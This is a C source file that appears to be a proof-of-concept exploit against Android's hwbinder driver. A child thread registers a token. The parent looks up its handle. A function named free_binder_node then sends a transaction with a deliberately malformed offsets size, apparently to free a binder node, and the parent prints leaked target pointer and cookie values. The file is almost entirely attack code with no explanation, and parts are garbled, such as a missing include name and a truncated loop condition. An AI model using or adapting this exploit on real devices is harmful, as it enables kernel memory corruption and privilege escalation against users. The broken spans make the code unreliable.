#include "hwbinder.h" #include "utils.h" #include #define BINDER_OBJ_PTR 0xbeefULL static hidl_vec tk_bundle; void free_binder_node(PBINDER_INFO info, uint32_t desc){ struct binder_transaction_data tr1; struct binder_transaction_data tr2; struct flat_binder_object fbo1; struct flat_binder_object fbo2; binder_size_t offsets1[] = {0}; binder_size_t offsets2[] = {0}; memset(&tr1, 0, sizeof(tr1)); memset(&tr2, 0, sizeof(tr2)); memset(&fbo1, 0, sizeof(fbo1)); memset(&fbo2, 0, sizeof(fbo2)); fbo1.hdr.type = BINDER_TYPE_BINDER; fbo1.binder = desc; fbo2.hdr.type = BINDER_TYPE_BINDER; fbo2.binder = BINDER_OBJ_PTR; tr1.target.handle = desc; tr1.offsets_size = (binder_size_t)sizeof(offsets1); tr1.data_size = (binder_size_t)sizeof(fbo1); tr1.data.ptr.offsets = (binder_uintptr_t)offsets1; tr1.data.ptr.buffer = (binder_uintptr_t)(&fbo1); tr1.flags = TF_ACCEPT_FDS; tr2.target.handle = desc; tr2.offsets_size = (binder_size_t)(sizeof(offsets2) - 1); tr2.data_size = (binder_size_t)sizeof(fbo2); tr2.data.ptr.offsets = (binder_uintptr_t)offsets2; tr2.data.ptr.buffer = (binder_uintptr_t)(&fbo2); tr2.flags = TF_ONE_WAY; //getchar(); binder_transaction(info, NULL, 0, tr1); binder_transaction(info, NULL, 0, tr2); binder_close(info); } void* child(void *args){ BINDER_INFO info; PBINDER_INFO info_ptr = &info; memset(&tk_bundle, 0, sizeof(tk_bundle)); BYTE token[0x40]; tk_bundle = hidl_vec_new(token, 0x40); int r = hwbinder_open(info_ptr, CONST_MAPPED_SIZE); if(r <= BINDER_VERSION_ERROR){ fprintf(stderr, "binder driver open failed: %x", r); return NULL; } uint32_t tm = get_token_manager(info_ptr); if(!tm){ perror("invalid tm!"); return NULL; } if(!create_token(info_ptr, tm, 0x41, &tk_bundle)){ perror("create token failed!"); return NULL; } puts("child token:"); print_hex(tk_bundle.buffer, tk_bundle.size); binder_set_looper(info_ptr); while (1) { BYTE rb[0x100]; BYTE* rb_ptr = rb; memset(rb, 0, sizeof(rb)); size_t d = binder_read(info_ptr, (BYTE*)rb, 0x100); struct binder_transaction_data* trd = (struct binder_transaction_data*) parse_binder_message(rb, d); binder_size_t* off = (binder_size_t*)trd->data.ptr.offsets; binder_size_t off_count = (trd->offsets_size / sizeof(binder_size_t)); for(binder_size_t i=0; idata.ptr.buffer + off[i]); switch (obj->hdr.type) { case BINDER_TYPE_HANDLE:{ uint32_t desc = obj->fbo.handle; free_binder_node(info_ptr, desc); return NULL; } default: break; } } } binder_close(info_ptr); } void parent(){ memset(&tk_bundle, 0, sizeof(tk_bundle)); printf("parent pid %d\n", getpid()); // create child thread create_thread(child, NULL); delay_ms(200); // wait token if(tk_bundle.size <= 0) return; puts("parent token:"); BINDER_INFO info; PBINDER_INFO info_ptr = &info; print_hex(tk_bundle.buffer, tk_bundle.size); int r = hwbinder_open(info_ptr, CONST_MAPPED_SIZE); if(r <= BINDER_VERSION_ERROR){ fprintf(stderr, "binder driver open failed: %x", r); return; } uint32_t tm = get_token_manager(info_ptr); if(!tm){ perror("invalid tm!"); return; } uint32_t handle = get_handle_by_token(info_ptr, tm, &tk_bundle); if(!handle){ perror("invalid handle!"); return; } printf("handle is %d\n", handle); BYTE rb[0x100]; struct flat_binder_object o; o.handle = BINDER_OBJ_PTR; o.hdr.type = BINDER_TYPE_BINDER; binder_size_t f[] = {0}; struct binder_transaction_data t; t.code = 1; t.target.handle = handle; t.data_size = sizeof(o); t.offsets_size = sizeof(f); t.data.ptr.buffer = (binder_uintptr_t)&o; t.data.ptr.offsets = (binder_uintptr_t)f; t.flags = TF_ACCEPT_FDS; binder_transaction(info_ptr, NULL, 0, t); delay_ms(100); size_t d = binder_read(info_ptr, rb, sizeof(rb)); struct binder_transaction_data* tr = (struct binder_transaction_data*) (rb + (sizeof(uint32_t) * 0x3)); print_hex(rb, d); printf("%llx %llx\n", tr->target.ptr, tr->cookie); binder_close(info_ptr); } int main(int argc, char* argv[]){ parent(); return 0; }